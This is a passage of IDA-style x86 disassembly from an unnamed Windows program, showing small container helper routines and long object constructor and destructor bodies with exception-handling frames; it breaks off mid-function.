sub_414DE0	proc near		; CODE XREF: sub_401F9Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_414DE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E00	proc near		; CODE XREF: sub_401D3Ej
		mov	eax, ecx
		retn
sub_414E00	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E20	proc near		; CODE XREF: sub_401BA4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40130C
		mov	eax, esi
		pop	esi
		retn	4
sub_414E20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E50	proc near		; CODE XREF: sub_4010C8j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4017E9
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_414E50	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E80	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_414E80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414EB0	proc near		; CODE XREF: sub_401BDBj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401294
		mov	edi, eax
		push	edi
		call	sub_401717
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C76
		push	edi
		mov	ebx, eax
		call	sub_401717
		push	edi
		mov	[eax], ebx
		call	sub_401717
		mov	edi, [eax]
		push	edi
		call	sub_401717
		mov	ecx, [eax]
		push	ecx
		call	sub_401ABE
		mov	edx, [esp+1Ch+arg_8]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40171C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401CCB
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+10h+arg_0]
		mov	ecx, esi
		call	sub_401C3F
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_414EB0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414F50	proc near		; CODE XREF: sub_401073j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401D6B
		mov	ecx, eax
		call	sub_401294
		mov	esi, eax
		push	esi
		call	sub_401ABE
		push	esi
		mov	ebx, eax
		call	sub_401717
		mov	ecx, [eax]
		push	ecx
		call	sub_401ABE
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401717
		push	esi
		mov	ebx, eax
		call	sub_401ABE
		mov	eax, [eax]
		push	eax
		call	sub_401717
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40171C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4013A2
		push	esi
		mov	ecx, edi
		call	sub_401DBB
		mov	eax, [edi+8]
		mov	edx, [esp+10h+arg_4]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+10h+arg_0]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
sub_414F50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415010	proc near		; CODE XREF: sub_4013ACj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012F8
		test	al, al
		jz	short loc_41506A


loc_415028:				; CODE XREF: sub_415010+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401D6B
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401073
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012F8
		test	al, al
		jnz	short loc_415028
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41506A:				; CODE XREF: sub_415010+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415010	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4150A0	proc near		; CODE XREF: sub_401C76j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401D66
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4150B5
		mov	edi, esi


loc_4150B5:				; CODE XREF: sub_4150A0+11j
		push	esi
		call	sub_401ABE
		mov	[eax], edi
		mov	edi, [esp+0Ch+arg_4]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4150CA
		mov	edi, esi


loc_4150CA:				; CODE XREF: sub_4150A0+26j
		push	esi
		call	sub_401717
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4150A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4150F0	proc near		; CODE XREF: sub_401DBBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_40179E
		retn	4
sub_4150F0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415110	proc near		; CODE XREF: sub_401ABEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415110	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415130	proc near		; CODE XREF: sub_40171Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415130	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415150	proc near		; CODE XREF: sub_401CF3j
		mov	eax, ecx
		retn
sub_415150	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415170	proc near		; CODE XREF: sub_401C3Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401591
		mov	eax, esi
		pop	esi
		retn	4
sub_415170	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4151A0	proc near		; CODE XREF: sub_401D6Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401168
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4151A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4151D0	proc near		; CODE XREF: sub_4013F7j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4151D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415200	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_415200	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415220	proc near		; CODE XREF: sub_401F55j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401BF4
		add	esp, 8
		retn	4
sub_415220	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415250	proc near		; CODE XREF: sub_401CD0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_430332
		pop	ecx
		retn	8
sub_415250	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415270	proc near		; CODE XREF: sub_402009j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401230
		add	esp, 8
		retn	8
sub_415270	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152A0	proc near		; CODE XREF: sub_401492j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_4152A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152C0	proc near		; CODE XREF: sub_4016AEj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4152C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152E0	proc near		; CODE XREF: sub_40196Aj
		mov	eax, [ecx]
		push	eax
		call	sub_401DC0
		add	esp, 4
		retn
sub_4152E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415300	proc near		; CODE XREF: sub_401F6Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401F14
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415300	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415330	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D1B
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415330	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415360	proc near		; CODE XREF: sub_401B31j
		mov	eax, [ecx]
		retn
sub_415360	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415380	proc near		; CODE XREF: sub_401140j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_415380	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153A0	proc near		; CODE XREF: sub_401537j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401BF4
		add	esp, 8
		retn	4
sub_4153A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153D0	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_430332
		pop	ecx
		retn	8
sub_4153D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153F0	proc near		; CODE XREF: sub_401573j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401ED8
		add	esp, 8
		retn	8
sub_4153F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415420	proc near		; CODE XREF: sub_401C26j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_415420	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415440	proc near		; CODE XREF: sub_40130Cj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_415440	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415460	proc near		; CODE XREF: sub_401E24j
		mov	eax, [ecx]
		retn
sub_415460	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415480	proc near		; CODE XREF: sub_401717j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_415480	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154A0	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401BF4
		add	esp, 8
		retn	4
sub_4154A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154D0	proc near		; CODE XREF: sub_40179Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_430332
		pop	ecx
		retn	8
sub_4154D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154F0	proc near		; CODE XREF: sub_401CCBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401F50
		add	esp, 8
		retn	8
sub_4154F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415520	proc near		; CODE XREF: sub_4013A2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_415520	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415540	proc near		; CODE XREF: sub_401591j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_415540	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415560	proc near		; CODE XREF: sub_401294j
		mov	eax, [ecx]
		retn
sub_415560	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415580	proc near		; CODE XREF: sub_401D1Bj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415580	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155B0	proc near		; CODE XREF: sub_401230j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011A4
		add	esp, 8
		test	eax, eax
		jz	short locret_4155CB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4155CB:				; CODE XREF: sub_4155B0+11j
		retn
sub_4155B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415600	proc near		; CODE XREF: sub_401ED8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011A4
		add	esp, 8
		test	eax, eax
		jz	short locret_41561B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41561B:				; CODE XREF: sub_415600+11j
		retn
sub_415600	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415650	proc near		; CODE XREF: sub_401F50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011A4
		add	esp, 8
		test	eax, eax
		jz	short locret_41566B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41566B:				; CODE XREF: sub_415650+11j
		retn
sub_415650	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 0ED7E52BCh
		dd 0C647E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 7EBF2968h, 0AD26E800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
		dd 0E9FAFCB9h, 0C41DE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_415720:				; CODE XREF: _294ADE7B:00401B27j
		push	0FFFFFFFFh
		push	7CFD7Eh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+592FBh]
		mov	dword ptr [esp+10h], 13h
		call	sub_402045
		lea	ecx, [esi+592E4h]
		mov	byte ptr [esp+10h], 12h
		call	sub_4011F9
		lea	ecx, [esi+592CFh]
		mov	byte ptr [esp+10h], 11h
		call	sub_4011F9
		lea	ecx, [esi+592BAh]
		mov	byte ptr [esp+10h], 10h
		call	sub_4011F9
		lea	ecx, [esi+592A5h]
		mov	byte ptr [esp+10h], 0Fh


loc_41578B:				; DATA XREF: sub_411820+2o
		call	sub_4011F9
		lea	ecx, [esi+591BAh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401DA7
		lea	ecx, [esi+591A9h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4016C2
		lea	ecx, [esi+5916Fh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4017BC
		lea	ecx, [esi+590E1h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_4010FA
		lea	ecx, [esi+590AFh]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401DE3
		lea	ecx, [esi+48A9Eh]
		mov	byte ptr [esp+10h], 9
		call	sub_40207C
		lea	ecx, [esi+48A75h]
		mov	byte ptr [esp+10h], 8
		call	sub_40193D
		lea	ecx, [esi+4878Bh]
		mov	byte ptr [esp+10h], 7
		call	sub_401366
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401208
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401D4D
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_40148D
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401A05
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401B72
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401852
		mov	byte ptr [esp+10h], 0
		lea	ecx, [esi+3Eh]
		call	sub_4013E8
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401235
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_415900:				; CODE XREF: _294ADE7B:00401D11j
		push	0FFFFFFFFh
		push	7E7EBFh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_401F28
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_401569
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_401267
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_401E97
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_401915
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_40150F
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_4015C3
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_4016D1
		lea	ecx, [esi+4878Bh]
		mov	byte ptr [esp+14h], 7
		call	sub_401609
		lea	ecx, [esi+48A75h]
		mov	byte ptr [esp+14h], 8
		call	sub_401767
		lea	ecx, [esi+48A9Eh]
		mov	byte ptr [esp+14h], 9
		call	sub_4013C0
		lea	ecx, [esi+48BBBh]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_401BEF
		lea	ecx, [esi+590AFh]
		call	sub_401253
		lea	ecx, [esi+590E1h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401B81
		lea	ecx, [esi+5916Fh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401F82
		lea	ecx, [esi+591A9h]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401064
		lea	ecx, [esi+591BAh]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_40106E
		lea	ecx, [esi+592A5h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_4013CF
		lea	ecx, [esi+592BAh]
		mov	byte ptr [esp+14h], 10h
		call	sub_4013CF
		lea	ecx, [esi+592CFh]
		mov	byte ptr [esp+14h], 11h
		call	sub_4013CF
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+592E4h]
		call	sub_4013CF
		lea	eax, [esp+7]
		lea	ecx, [esi+592FBh]
		push	eax
		mov	byte ptr [esp+18h], 13h
		call	sub_401A19
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415B00	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	7F3F5Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401A1E
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_415B00	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415B70	proc near		; CODE XREF: sub_401852j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	3F9FAFh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_401EFB
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_401EFB
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_401EFB
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_401EFB
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_401EFB
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_4019F1
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_4019F1
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_4019F1
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_4019F1
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_4019F1
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_4019F1
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_4019F1
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_4019F1
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_4019F1
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_4019F1
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_4019F1
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_4019F1
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_4019F1
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_4019F1
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_4019F1
		lea	ecx, [esi+6E1h]
